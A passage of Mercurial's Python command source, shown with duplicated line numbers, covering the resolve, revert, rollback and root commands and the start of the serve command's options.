6047 ):
6047 ):
6048 hint = _(b'use --mark, --unmark, --list or --re-merge')
6048 hint = _(b'use --mark, --unmark, --list or --re-merge')
6049 raise error.InputError(_(b'no action specified'), hint=hint)
6049 raise error.InputError(_(b'no action specified'), hint=hint)
6050 if pats and all:
6050 if pats and all:
6051 raise error.InputError(_(b"can't specify --all and patterns"))
6051 raise error.InputError(_(b"can't specify --all and patterns"))
6052 if not (all or pats or show or mark or unmark):
6052 if not (all or pats or show or mark or unmark):
6053 raise error.InputError(
6053 raise error.InputError(
6054 _(b'no files or directories specified'),
6054 _(b'no files or directories specified'),
6055 hint=b'use --all to re-merge all unresolved files',
6055 hint=b'use --all to re-merge all unresolved files',
6056 )
6056 )
6057
6057
6058 if confirm:
6058 if confirm:
6059 if all:
6059 if all:
6060 if ui.promptchoice(
6060 if ui.promptchoice(
6061 _(b're-merge all unresolved files (yn)?$$ &Yes $$ &No')
6061 _(b're-merge all unresolved files (yn)?$$ &Yes $$ &No')
6062 ):
6062 ):
6063 raise error.CanceledError(_(b'user quit'))
6063 raise error.CanceledError(_(b'user quit'))
6064 if mark and not pats:
6064 if mark and not pats:
6065 if ui.promptchoice(
6065 if ui.promptchoice(
6066 _(
6066 _(
6067 b'mark all unresolved files as resolved (yn)?'
6067 b'mark all unresolved files as resolved (yn)?'
6068 b'$$ &Yes $$ &No'
6068 b'$$ &Yes $$ &No'
6069 )
6069 )
6070 ):
6070 ):
6071 raise error.CanceledError(_(b'user quit'))
6071 raise error.CanceledError(_(b'user quit'))
6072 if unmark and not pats:
6072 if unmark and not pats:
6073 if ui.promptchoice(
6073 if ui.promptchoice(
6074 _(
6074 _(
6075 b'mark all resolved files as unresolved (yn)?'
6075 b'mark all resolved files as unresolved (yn)?'
6076 b'$$ &Yes $$ &No'
6076 b'$$ &Yes $$ &No'
6077 )
6077 )
6078 ):
6078 ):
6079 raise error.CanceledError(_(b'user quit'))
6079 raise error.CanceledError(_(b'user quit'))
6080
6080
6081 uipathfn = scmutil.getuipathfn(repo)
6081 uipathfn = scmutil.getuipathfn(repo)
6082
6082
6083 if show:
6083 if show:
6084 ui.pager(b'resolve')
6084 ui.pager(b'resolve')
6085 fm = ui.formatter(b'resolve', opts)
6085 fm = ui.formatter(b'resolve', opts)
6086 ms = mergestatemod.mergestate.read(repo)
6086 ms = mergestatemod.mergestate.read(repo)
6087 wctx = repo[None]
6087 wctx = repo[None]
6088 m = scmutil.match(wctx, pats, opts)
6088 m = scmutil.match(wctx, pats, opts)
6089
6089
6090 # Labels and keys based on merge state. Unresolved path conflicts show
6090 # Labels and keys based on merge state. Unresolved path conflicts show
6091 # as 'P'. Resolved path conflicts show as 'R', the same as normal
6091 # as 'P'. Resolved path conflicts show as 'R', the same as normal
6092 # resolved conflicts.
6092 # resolved conflicts.
6093 mergestateinfo = {
6093 mergestateinfo = {
6094 mergestatemod.MERGE_RECORD_UNRESOLVED: (
6094 mergestatemod.MERGE_RECORD_UNRESOLVED: (
6095 b'resolve.unresolved',
6095 b'resolve.unresolved',
6096 b'U',
6096 b'U',
6097 ),
6097 ),
6098 mergestatemod.MERGE_RECORD_RESOLVED: (b'resolve.resolved', b'R'),
6098 mergestatemod.MERGE_RECORD_RESOLVED: (b'resolve.resolved', b'R'),
6099 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH: (
6099 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH: (
6100 b'resolve.unresolved',
6100 b'resolve.unresolved',
6101 b'P',
6101 b'P',
6102 ),
6102 ),
6103 mergestatemod.MERGE_RECORD_RESOLVED_PATH: (
6103 mergestatemod.MERGE_RECORD_RESOLVED_PATH: (
6104 b'resolve.resolved',
6104 b'resolve.resolved',
6105 b'R',
6105 b'R',
6106 ),
6106 ),
6107 }
6107 }
6108
6108
6109 for f in ms:
6109 for f in ms:
6110 if not m(f):
6110 if not m(f):
6111 continue
6111 continue
6112
6112
6113 label, key = mergestateinfo[ms[f]]
6113 label, key = mergestateinfo[ms[f]]
6114 fm.startitem()
6114 fm.startitem()
6115 fm.context(ctx=wctx)
6115 fm.context(ctx=wctx)
6116 fm.condwrite(not nostatus, b'mergestatus', b'%s ', key, label=label)
6116 fm.condwrite(not nostatus, b'mergestatus', b'%s ', key, label=label)
6117 fm.data(path=f)
6117 fm.data(path=f)
6118 fm.plain(b'%s\n' % uipathfn(f), label=label)
6118 fm.plain(b'%s\n' % uipathfn(f), label=label)
6119 fm.end()
6119 fm.end()
6120 return 0
6120 return 0
6121
6121
6122 with repo.wlock():
6122 with repo.wlock():
6123 ms = mergestatemod.mergestate.read(repo)
6123 ms = mergestatemod.mergestate.read(repo)
6124
6124
6125 if not (ms.active() or repo.dirstate.p2() != repo.nullid):
6125 if not (ms.active() or repo.dirstate.p2() != repo.nullid):
6126 raise error.StateError(
6126 raise error.StateError(
6127 _(b'resolve command not applicable when not merging')
6127 _(b'resolve command not applicable when not merging')
6128 )
6128 )
6129
6129
6130 wctx = repo[None]
6130 wctx = repo[None]
6131 m = scmutil.match(wctx, pats, opts)
6131 m = scmutil.match(wctx, pats, opts)
6132 ret = 0
6132 ret = 0
6133 didwork = False
6133 didwork = False
6134
6134
6135 hasconflictmarkers = []
6135 hasconflictmarkers = []
6136 if mark:
6136 if mark:
6137 markcheck = ui.config(b'commands', b'resolve.mark-check')
6137 markcheck = ui.config(b'commands', b'resolve.mark-check')
6138 if markcheck not in [b'warn', b'abort']:
6138 if markcheck not in [b'warn', b'abort']:
6139 # Treat all invalid / unrecognized values as 'none'.
6139 # Treat all invalid / unrecognized values as 'none'.
6140 markcheck = False
6140 markcheck = False
6141 for f in ms:
6141 for f in ms:
6142 if not m(f):
6142 if not m(f):
6143 continue
6143 continue
6144
6144
6145 didwork = True
6145 didwork = True
6146
6146
6147 # path conflicts must be resolved manually
6147 # path conflicts must be resolved manually
6148 if ms[f] in (
6148 if ms[f] in (
6149 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH,
6149 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH,
6150 mergestatemod.MERGE_RECORD_RESOLVED_PATH,
6150 mergestatemod.MERGE_RECORD_RESOLVED_PATH,
6151 ):
6151 ):
6152 if mark:
6152 if mark:
6153 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED_PATH)
6153 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED_PATH)
6154 elif unmark:
6154 elif unmark:
6155 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED_PATH)
6155 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED_PATH)
6156 elif ms[f] == mergestatemod.MERGE_RECORD_UNRESOLVED_PATH:
6156 elif ms[f] == mergestatemod.MERGE_RECORD_UNRESOLVED_PATH:
6157 ui.warn(
6157 ui.warn(
6158 _(b'%s: path conflict must be resolved manually\n')
6158 _(b'%s: path conflict must be resolved manually\n')
6159 % uipathfn(f)
6159 % uipathfn(f)
6160 )
6160 )
6161 continue
6161 continue
6162
6162
6163 if mark:
6163 if mark:
6164 if markcheck:
6164 if markcheck:
6165 fdata = repo.wvfs.tryread(f)
6165 fdata = repo.wvfs.tryread(f)
6166 if (
6166 if (
6167 filemerge.hasconflictmarkers(fdata)
6167 filemerge.hasconflictmarkers(fdata)
6168 and ms[f] != mergestatemod.MERGE_RECORD_RESOLVED
6168 and ms[f] != mergestatemod.MERGE_RECORD_RESOLVED
6169 ):
6169 ):
6170 hasconflictmarkers.append(f)
6170 hasconflictmarkers.append(f)
6171 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED)
6171 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED)
6172 elif unmark:
6172 elif unmark:
6173 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED)
6173 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED)
6174 else:
6174 else:
6175 # backup pre-resolve (merge uses .orig for its own purposes)
6175 # backup pre-resolve (merge uses .orig for its own purposes)
6176 a = repo.wjoin(f)
6176 a = repo.wjoin(f)
6177 try:
6177 try:
6178 util.copyfile(a, a + b".resolve")
6178 util.copyfile(a, a + b".resolve")
6179 except (IOError, OSError) as inst:
6179 except (IOError, OSError) as inst:
6180 if inst.errno != errno.ENOENT:
6180 if inst.errno != errno.ENOENT:
6181 raise
6181 raise
6182
6182
6183 try:
6183 try:
6184 # preresolve file
6184 # preresolve file
6185 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6185 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6186 with ui.configoverride(overrides, b'resolve'):
6186 with ui.configoverride(overrides, b'resolve'):
6187 r = ms.resolve(f, wctx)
6187 r = ms.resolve(f, wctx)
6188 if r:
6188 if r:
6189 ret = 1
6189 ret = 1
6190 finally:
6190 finally:
6191 ms.commit()
6191 ms.commit()
6192
6192
6193 # replace filemerge's .orig file with our resolve file
6193 # replace filemerge's .orig file with our resolve file
6194 try:
6194 try:
6195 util.rename(
6195 util.rename(
6196 a + b".resolve", scmutil.backuppath(ui, repo, f)
6196 a + b".resolve", scmutil.backuppath(ui, repo, f)
6197 )
6197 )
6198 except OSError as inst:
6198 except OSError as inst:
6199 if inst.errno != errno.ENOENT:
6199 if inst.errno != errno.ENOENT:
6200 raise
6200 raise
6201
6201
6202 if hasconflictmarkers:
6202 if hasconflictmarkers:
6203 ui.warn(
6203 ui.warn(
6204 _(
6204 _(
6205 b'warning: the following files still have conflict '
6205 b'warning: the following files still have conflict '
6206 b'markers:\n'
6206 b'markers:\n'
6207 )
6207 )
6208 + b''.join(
6208 + b''.join(
6209 b' ' + uipathfn(f) + b'\n' for f in hasconflictmarkers
6209 b' ' + uipathfn(f) + b'\n' for f in hasconflictmarkers
6210 )
6210 )
6211 )
6211 )
6212 if markcheck == b'abort' and not all and not pats:
6212 if markcheck == b'abort' and not all and not pats:
6213 raise error.StateError(
6213 raise error.StateError(
6214 _(b'conflict markers detected'),
6214 _(b'conflict markers detected'),
6215 hint=_(b'use --all to mark anyway'),
6215 hint=_(b'use --all to mark anyway'),
6216 )
6216 )
6217
6217
6218 ms.commit()
6218 ms.commit()
6219 branchmerge = repo.dirstate.p2() != repo.nullid
6219 branchmerge = repo.dirstate.p2() != repo.nullid
6220 # resolve is not doing a parent change here, however, `record updates`
6220 # resolve is not doing a parent change here, however, `record updates`
6221 # will call some dirstate API that at intended for parent changes call.
6221 # will call some dirstate API that at intended for parent changes call.
6222 # Ideally we would not need this and could implement a lighter version
6222 # Ideally we would not need this and could implement a lighter version
6223 # of the recordupdateslogic that will not have to deal with the part
6223 # of the recordupdateslogic that will not have to deal with the part
6224 # related to parent changes. However this would requires that:
6224 # related to parent changes. However this would requires that:
6225 # - we are sure we passed around enough information at update/merge
6225 # - we are sure we passed around enough information at update/merge
6226 # time to no longer needs it at `hg resolve time`
6226 # time to no longer needs it at `hg resolve time`
6227 # - we are sure we store that information well enough to be able to reuse it
6227 # - we are sure we store that information well enough to be able to reuse it
6228 # - we are the necessary logic to reuse it right.
6228 # - we are the necessary logic to reuse it right.
6229 #
6229 #
6230 # All this should eventually happens, but in the mean time, we use this
6230 # All this should eventually happens, but in the mean time, we use this
6231 # context manager slightly out of the context it should be.
6231 # context manager slightly out of the context it should be.
6232 with repo.dirstate.parentchange():
6232 with repo.dirstate.parentchange():
6233 mergestatemod.recordupdates(repo, ms.actions(), branchmerge, None)
6233 mergestatemod.recordupdates(repo, ms.actions(), branchmerge, None)
6234
6234
6235 if not didwork and pats:
6235 if not didwork and pats:
6236 hint = None
6236 hint = None
6237 if not any([p for p in pats if p.find(b':') >= 0]):
6237 if not any([p for p in pats if p.find(b':') >= 0]):
6238 pats = [b'path:%s' % p for p in pats]
6238 pats = [b'path:%s' % p for p in pats]
6239 m = scmutil.match(wctx, pats, opts)
6239 m = scmutil.match(wctx, pats, opts)
6240 for f in ms:
6240 for f in ms:
6241 if not m(f):
6241 if not m(f):
6242 continue
6242 continue
6243
6243
6244 def flag(o):
6244 def flag(o):
6245 if o == b're_merge':
6245 if o == b're_merge':
6246 return b'--re-merge '
6246 return b'--re-merge '
6247 return b'-%s ' % o[0:1]
6247 return b'-%s ' % o[0:1]
6248
6248
6249 flags = b''.join([flag(o) for o in flaglist if opts.get(o)])
6249 flags = b''.join([flag(o) for o in flaglist if opts.get(o)])
6250 hint = _(b"(try: hg resolve %s%s)\n") % (
6250 hint = _(b"(try: hg resolve %s%s)\n") % (
6251 flags,
6251 flags,
6252 b' '.join(pats),
6252 b' '.join(pats),
6253 )
6253 )
6254 break
6254 break
6255 ui.warn(_(b"arguments do not match paths that need resolving\n"))
6255 ui.warn(_(b"arguments do not match paths that need resolving\n"))
6256 if hint:
6256 if hint:
6257 ui.warn(hint)
6257 ui.warn(hint)
6258
6258
6259 unresolvedf = ms.unresolvedcount()
6259 unresolvedf = ms.unresolvedcount()
6260 if not unresolvedf:
6260 if not unresolvedf:
6261 ui.status(_(b'(no more unresolved files)\n'))
6261 ui.status(_(b'(no more unresolved files)\n'))
6262 cmdutil.checkafterresolved(repo)
6262 cmdutil.checkafterresolved(repo)
6263
6263
6264 return ret
6264 return ret
6265
6265
6266
6266
6267 @command(
6267 @command(
6268 b'revert',
6268 b'revert',
6269 [
6269 [
6270 (b'a', b'all', None, _(b'revert all changes when no arguments given')),
6270 (b'a', b'all', None, _(b'revert all changes when no arguments given')),
6271 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
6271 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
6272 (b'r', b'rev', b'', _(b'revert to the specified revision'), _(b'REV')),
6272 (b'r', b'rev', b'', _(b'revert to the specified revision'), _(b'REV')),
6273 (b'C', b'no-backup', None, _(b'do not save backup copies of files')),
6273 (b'C', b'no-backup', None, _(b'do not save backup copies of files')),
6274 (b'i', b'interactive', None, _(b'interactively select the changes')),
6274 (b'i', b'interactive', None, _(b'interactively select the changes')),
6275 ]
6275 ]
6276 + walkopts
6276 + walkopts
6277 + dryrunopts,
6277 + dryrunopts,
6278 _(b'[OPTION]... [-r REV] [NAME]...'),
6278 _(b'[OPTION]... [-r REV] [NAME]...'),
6279 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6279 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6280 )
6280 )
6281 def revert(ui, repo, *pats, **opts):
6281 def revert(ui, repo, *pats, **opts):
6282 """restore files to their checkout state
6282 """restore files to their checkout state
6283
6283
6284 .. note::
6284 .. note::
6285
6285
6286 To check out earlier revisions, you should use :hg:`update REV`.
6286 To check out earlier revisions, you should use :hg:`update REV`.
6287 To cancel an uncommitted merge (and lose your changes),
6287 To cancel an uncommitted merge (and lose your changes),
6288 use :hg:`merge --abort`.
6288 use :hg:`merge --abort`.
6289
6289
6290 With no revision specified, revert the specified files or directories
6290 With no revision specified, revert the specified files or directories
6291 to the contents they had in the parent of the working directory.
6291 to the contents they had in the parent of the working directory.
6292 This restores the contents of files to an unmodified
6292 This restores the contents of files to an unmodified
6293 state and unschedules adds, removes, copies, and renames. If the
6293 state and unschedules adds, removes, copies, and renames. If the
6294 working directory has two parents, you must explicitly specify a
6294 working directory has two parents, you must explicitly specify a
6295 revision.
6295 revision.
6296
6296
6297 Using the -r/--rev or -d/--date options, revert the given files or
6297 Using the -r/--rev or -d/--date options, revert the given files or
6298 directories to their states as of a specific revision. Because
6298 directories to their states as of a specific revision. Because
6299 revert does not change the working directory parents, this will
6299 revert does not change the working directory parents, this will
6300 cause these files to appear modified. This can be helpful to "back
6300 cause these files to appear modified. This can be helpful to "back
6301 out" some or all of an earlier change. See :hg:`backout` for a
6301 out" some or all of an earlier change. See :hg:`backout` for a
6302 related method.
6302 related method.
6303
6303
6304 Modified files are saved with a .orig suffix before reverting.
6304 Modified files are saved with a .orig suffix before reverting.
6305 To disable these backups, use --no-backup. It is possible to store
6305 To disable these backups, use --no-backup. It is possible to store
6306 the backup files in a custom directory relative to the root of the
6306 the backup files in a custom directory relative to the root of the
6307 repository by setting the ``ui.origbackuppath`` configuration
6307 repository by setting the ``ui.origbackuppath`` configuration
6308 option.
6308 option.
6309
6309
6310 See :hg:`help dates` for a list of formats valid for -d/--date.
6310 See :hg:`help dates` for a list of formats valid for -d/--date.
6311
6311
6312 See :hg:`help backout` for a way to reverse the effect of an
6312 See :hg:`help backout` for a way to reverse the effect of an
6313 earlier changeset.
6313 earlier changeset.
6314
6314
6315 Returns 0 on success.
6315 Returns 0 on success.
6316 """
6316 """
6317
6317
6318 opts = pycompat.byteskwargs(opts)
6318 opts = pycompat.byteskwargs(opts)
6319 if opts.get(b"date"):
6319 if opts.get(b"date"):
6320 cmdutil.check_incompatible_arguments(opts, b'date', [b'rev'])
6320 cmdutil.check_incompatible_arguments(opts, b'date', [b'rev'])
6321 opts[b"rev"] = cmdutil.finddate(ui, repo, opts[b"date"])
6321 opts[b"rev"] = cmdutil.finddate(ui, repo, opts[b"date"])
6322
6322
6323 parent, p2 = repo.dirstate.parents()
6323 parent, p2 = repo.dirstate.parents()
6324 if not opts.get(b'rev') and p2 != repo.nullid:
6324 if not opts.get(b'rev') and p2 != repo.nullid:
6325 # revert after merge is a trap for new users (issue2915)
6325 # revert after merge is a trap for new users (issue2915)
6326 raise error.InputError(
6326 raise error.InputError(
6327 _(b'uncommitted merge with no revision specified'),
6327 _(b'uncommitted merge with no revision specified'),
6328 hint=_(b"use 'hg update' or see 'hg help revert'"),
6328 hint=_(b"use 'hg update' or see 'hg help revert'"),
6329 )
6329 )
6330
6330
6331 rev = opts.get(b'rev')
6331 rev = opts.get(b'rev')
6332 if rev:
6332 if rev:
6333 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
6333 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
6334 ctx = logcmdutil.revsingle(repo, rev)
6334 ctx = logcmdutil.revsingle(repo, rev)
6335
6335
6336 if not (
6336 if not (
6337 pats
6337 pats
6338 or opts.get(b'include')
6338 or opts.get(b'include')
6339 or opts.get(b'exclude')
6339 or opts.get(b'exclude')
6340 or opts.get(b'all')
6340 or opts.get(b'all')
6341 or opts.get(b'interactive')
6341 or opts.get(b'interactive')
6342 ):
6342 ):
6343 msg = _(b"no files or directories specified")
6343 msg = _(b"no files or directories specified")
6344 if p2 != repo.nullid:
6344 if p2 != repo.nullid:
6345 hint = _(
6345 hint = _(
6346 b"uncommitted merge, use --all to discard all changes,"
6346 b"uncommitted merge, use --all to discard all changes,"
6347 b" or 'hg update -C .' to abort the merge"
6347 b" or 'hg update -C .' to abort the merge"
6348 )
6348 )
6349 raise error.InputError(msg, hint=hint)
6349 raise error.InputError(msg, hint=hint)
6350 dirty = any(repo.status())
6350 dirty = any(repo.status())
6351 node = ctx.node()
6351 node = ctx.node()
6352 if node != parent:
6352 if node != parent:
6353 if dirty:
6353 if dirty:
6354 hint = (
6354 hint = (
6355 _(
6355 _(
6356 b"uncommitted changes, use --all to discard all"
6356 b"uncommitted changes, use --all to discard all"
6357 b" changes, or 'hg update %d' to update"
6357 b" changes, or 'hg update %d' to update"
6358 )
6358 )
6359 % ctx.rev()
6359 % ctx.rev()
6360 )
6360 )
6361 else:
6361 else:
6362 hint = (
6362 hint = (
6363 _(
6363 _(
6364 b"use --all to revert all files,"
6364 b"use --all to revert all files,"
6365 b" or 'hg update %d' to update"
6365 b" or 'hg update %d' to update"
6366 )
6366 )
6367 % ctx.rev()
6367 % ctx.rev()
6368 )
6368 )
6369 elif dirty:
6369 elif dirty:
6370 hint = _(b"uncommitted changes, use --all to discard all changes")
6370 hint = _(b"uncommitted changes, use --all to discard all changes")
6371 else:
6371 else:
6372 hint = _(b"use --all to revert all files")
6372 hint = _(b"use --all to revert all files")
6373 raise error.InputError(msg, hint=hint)
6373 raise error.InputError(msg, hint=hint)
6374
6374
6375 return cmdutil.revert(ui, repo, ctx, *pats, **pycompat.strkwargs(opts))
6375 return cmdutil.revert(ui, repo, ctx, *pats, **pycompat.strkwargs(opts))
6376
6376
6377
6377
6378 @command(
6378 @command(
6379 b'rollback',
6379 b'rollback',
6380 dryrunopts + [(b'f', b'force', False, _(b'ignore safety measures'))],
6380 dryrunopts + [(b'f', b'force', False, _(b'ignore safety measures'))],
6381 helpcategory=command.CATEGORY_MAINTENANCE,
6381 helpcategory=command.CATEGORY_MAINTENANCE,
6382 )
6382 )
6383 def rollback(ui, repo, **opts):
6383 def rollback(ui, repo, **opts):
6384 """roll back the last transaction (DANGEROUS) (DEPRECATED)
6384 """roll back the last transaction (DANGEROUS) (DEPRECATED)
6385
6385
6386 Please use :hg:`commit --amend` instead of rollback to correct
6386 Please use :hg:`commit --amend` instead of rollback to correct
6387 mistakes in the last commit.
6387 mistakes in the last commit.
6388
6388
6389 This command should be used with care. There is only one level of
6389 This command should be used with care. There is only one level of
6390 rollback, and there is no way to undo a rollback. It will also
6390 rollback, and there is no way to undo a rollback. It will also
6391 restore the dirstate at the time of the last transaction, losing
6391 restore the dirstate at the time of the last transaction, losing
6392 any dirstate changes since that time. This command does not alter
6392 any dirstate changes since that time. This command does not alter
6393 the working directory.
6393 the working directory.
6394
6394
6395 Transactions are used to encapsulate the effects of all commands
6395 Transactions are used to encapsulate the effects of all commands
6396 that create new changesets or propagate existing changesets into a
6396 that create new changesets or propagate existing changesets into a
6397 repository.
6397 repository.
6398
6398
6399 .. container:: verbose
6399 .. container:: verbose
6400
6400
6401 For example, the following commands are transactional, and their
6401 For example, the following commands are transactional, and their
6402 effects can be rolled back:
6402 effects can be rolled back:
6403
6403
6404 - commit
6404 - commit
6405 - import
6405 - import
6406 - pull
6406 - pull
6407 - push (with this repository as the destination)
6407 - push (with this repository as the destination)
6408 - unbundle
6408 - unbundle
6409
6409
6410 To avoid permanent data loss, rollback will refuse to rollback a
6410 To avoid permanent data loss, rollback will refuse to rollback a
6411 commit transaction if it isn't checked out. Use --force to
6411 commit transaction if it isn't checked out. Use --force to
6412 override this protection.
6412 override this protection.
6413
6413
6414 The rollback command can be entirely disabled by setting the
6414 The rollback command can be entirely disabled by setting the
6415 ``ui.rollback`` configuration setting to false. If you're here
6415 ``ui.rollback`` configuration setting to false. If you're here
6416 because you want to use rollback and it's disabled, you can
6416 because you want to use rollback and it's disabled, you can
6417 re-enable the command by setting ``ui.rollback`` to true.
6417 re-enable the command by setting ``ui.rollback`` to true.
6418
6418
6419 This command is not intended for use on public repositories. Once
6419 This command is not intended for use on public repositories. Once
6420 changes are visible for pull by other users, rolling a transaction
6420 changes are visible for pull by other users, rolling a transaction
6421 back locally is ineffective (someone else may already have pulled
6421 back locally is ineffective (someone else may already have pulled
6422 the changes). Furthermore, a race is possible with readers of the
6422 the changes). Furthermore, a race is possible with readers of the
6423 repository; for example an in-progress pull from the repository
6423 repository; for example an in-progress pull from the repository
6424 may fail if a rollback is performed.
6424 may fail if a rollback is performed.
6425
6425
6426 Returns 0 on success, 1 if no rollback data is available.
6426 Returns 0 on success, 1 if no rollback data is available.
6427 """
6427 """
6428 if not ui.configbool(b'ui', b'rollback'):
6428 if not ui.configbool(b'ui', b'rollback'):
6429 raise error.Abort(
6429 raise error.Abort(
6430 _(b'rollback is disabled because it is unsafe'),
6430 _(b'rollback is disabled because it is unsafe'),
6431 hint=b'see `hg help -v rollback` for information',
6431 hint=b'see `hg help -v rollback` for information',
6432 )
6432 )
6433 return repo.rollback(dryrun=opts.get('dry_run'), force=opts.get('force'))
6433 return repo.rollback(dryrun=opts.get('dry_run'), force=opts.get('force'))
6434
6434
6435
6435
6436 @command(
6436 @command(
6437 b'root',
6437 b'root',
6438 [] + formatteropts,
6438 [] + formatteropts,
6439 intents={INTENT_READONLY},
6439 intents={INTENT_READONLY},
6440 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6440 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6441 )
6441 )
6442 def root(ui, repo, **opts):
6442 def root(ui, repo, **opts):
6443 """print the root (top) of the current working directory
6443 """print the root (top) of the current working directory
6444
6444
6445 Print the root directory of the current repository.
6445 Print the root directory of the current repository.
6446
6446
6447 .. container:: verbose
6447 .. container:: verbose
6448
6448
6449 Template:
6449 Template:
6450
6450
6451 The following keywords are supported in addition to the common template
6451 The following keywords are supported in addition to the common template
6452 keywords and functions. See also :hg:`help templates`.
6452 keywords and functions. See also :hg:`help templates`.
6453
6453
6454 :hgpath: String. Path to the .hg directory.
6454 :hgpath: String. Path to the .hg directory.
6455 :storepath: String. Path to the directory holding versioned data.
6455 :storepath: String. Path to the directory holding versioned data.
6456
6456
6457 Returns 0 on success.
6457 Returns 0 on success.
6458 """
6458 """
6459 opts = pycompat.byteskwargs(opts)
6459 opts = pycompat.byteskwargs(opts)
6460 with ui.formatter(b'root', opts) as fm:
6460 with ui.formatter(b'root', opts) as fm:
6461 fm.startitem()
6461 fm.startitem()
6462 fm.write(b'reporoot', b'%s\n', repo.root)
6462 fm.write(b'reporoot', b'%s\n', repo.root)
6463 fm.data(hgpath=repo.path, storepath=repo.spath)
6463 fm.data(hgpath=repo.path, storepath=repo.spath)
6464
6464
6465
6465
6466 @command(
6466 @command(
6467 b'serve',
6467 b'serve',
6468 [
6468 [
6469 (
6469 (
6470 b'A',
6470 b'A',
6471 b'accesslog',
6471 b'accesslog',
6472 b'',
6472 b'',
6473 _(b'name of access log file to write to'),
6473 _(b'name of access log file to write to'),
6474 _(b'FILE'),
6474 _(b'FILE'),
6475 ),
6475 ),
6476 (b'd', b'daemon', None, _(b'run server in background')),
6476 (b'd', b'daemon', None, _(b'run server in background')),
6477 (b'', b'daemon-postexec', [], _(b'used internally by daemon mode')),
6477 (b'', b'daemon-postexec', [], _(b'used internally by daemon mode')),
6478 (
6478 (
6479 b'E',
6479 b'E',
6480 b'errorlog',
6480 b'errorlog',
6481 b'',
6481 b'',
6482 _(b'name of error log file to write to'),
6482 _(b'name of error log file to write to'),
6483 _(b'FILE'),
6483 _(b'FILE'),
6484 ),
6484 ),
6485 # use string type, then we can check if something was passed
6485 # use string type, then we can check if something was passed
6486 (
6486 (
6487 b'p',
6487 b'p',
6488 b'port',
6488 b'port',
6489 b'',
6489 b'',
6490 _(b'port to listen on (default: 8000)'),
6490 _(b'port to listen on (default: 8000)'),
6491 _(b'PORT'),
6491 _(b'PORT'),
6492 ),
6492 ),
6493 (
6493 (
6494 b'a',
6494 b'a',
6495 b'address',
6495 b'address',
6496 b'',
6496 b'',
6497 _(b'address to listen on (default: all interfaces)'),
6497 _(b'address to listen on (default: all interfaces)'),
6498 _(b'ADDR'),
6498 _(b'ADDR'),
6499 ),
6499 ),
6500 (
6500 (
6501 b'',
6501 b'',
6502 b'prefix',
6502 b'prefix',
6503 b'',
6503 b'',
6504 _(b'prefix path to serve from (default: server root)'),
6504 _(b'prefix path to serve from (default: server root)'),
6505 _(b'PREFIX'),
6505 _(b'PREFIX'),
6506 ),
6506 ),
6507 (
6507 (
6508 b'n',
6508 b'n',
6509 b'name',
6509 b'name',
6510 b'',
6510 b'',
6511 _(b'name to show in web pages (default: working directory)'),
6511 _(b'name to show in web pages (default: working directory)'),
6512 _(b'NAME'),
6512 _(b'NAME'),
6513 ),
6513 ),
6514 (
6514 (
6515 b'',
6515 b'',
6516 b'web-conf',
6516 b'web-conf',
6517 b'',
6517 b'',
6518 _(b"name of the hgweb config file (see 'hg help hgweb')"),
6518 _(b"name of the hgweb config file (see 'hg help hgweb')"),
6519 _(b'FILE'),
6519 _(b'FILE'),
6520 ),
6520 ),
6521 (
6521 (
6522 b'',
6522 b'',
6523 b'webdir-conf',
6523 b'webdir-conf',
6524 b'',
6524 b'',
6525 _(b'name of the hgweb config file (DEPRECATED)'),
6525 _(b'name of the hgweb config file (DEPRECATED)'),
6526 _(b'FILE'),
6526 _(b'FILE'),
6527 ),
6527 ),
6528 (
6528 (
6529 b'',
6529 b'',
6530 b'pid-file',
6530 b'pid-file',
6531 b'',
6531 b'',
6532 _(b'name of file to write process ID to'),
6532 _(b'name of file to write process ID to'),
6533 _(b'FILE'),
6533 _(b'FILE'),
6534 ),
6534 ),
6535 (b'', b'stdio', None, _(b'for remote clients (ADVANCED)')),
6535 (b'', b'stdio', None, _(b'for remote clients (ADVANCED)')),
6536 (
6536 (
6537 b'',
6537 b'',
6538 b'cmdserver',
6538 b'cmdserver',
6539 b'',
6539 b'',
6540 _(b'for remote clients (ADVANCED)'),
6540 _(b'for remote clients (ADVANCED)'),
6541 _(b'MODE'),
6541 _(b'MODE'),
6542 ),
6542 ),
6543 (b't', b'templates', b'', _(b'web templates to use'), _(b'TEMPLATE')),
6543 (b't', b'templates', b'', _(b'web templates to use'), _(b'TEMPLATE')),
6544 (b'', b'style', b'', _(b'template style to use'), _(b'STYLE')),
6544 (b'', b'style', b'', _(b'template style to use'), _(b'STYLE')),
6545 (b'6', b'ipv6', None, _(b'use IPv6 in addition to IPv4')),
6545 (b'6', b'ipv6', None, _(b'use IPv6 in addition to IPv4')),
6546 (b'', b'certificate', b'', _(b'SSL certificate file'), _(b'FILE')),
6546 (b'', b'certificate', b'', _(b'SSL certificate file'), _(b'FILE')),
6547 (b'', b'print-url', None, _(b'start and print only the URL')),
6547 (b'', b'print-url', None, _(b'start and print only the URL')),
6548 ]
6548 ]
6549 + subrepoopts,
6549 + subrepoopts,
6550 _(b'[OPTION]...'),
6550 _(b'[OPTION]...'),
6551 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
6551 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
6552 helpbasic=True,
6552 helpbasic=True,
6553 optionalrepo=True,
6553 optionalrepo=True,
6554 )
6554 )
6555 def serve(ui, repo, **opts):
6555 def serve(ui, repo, **opts):
6556 """start stand-alone webserver
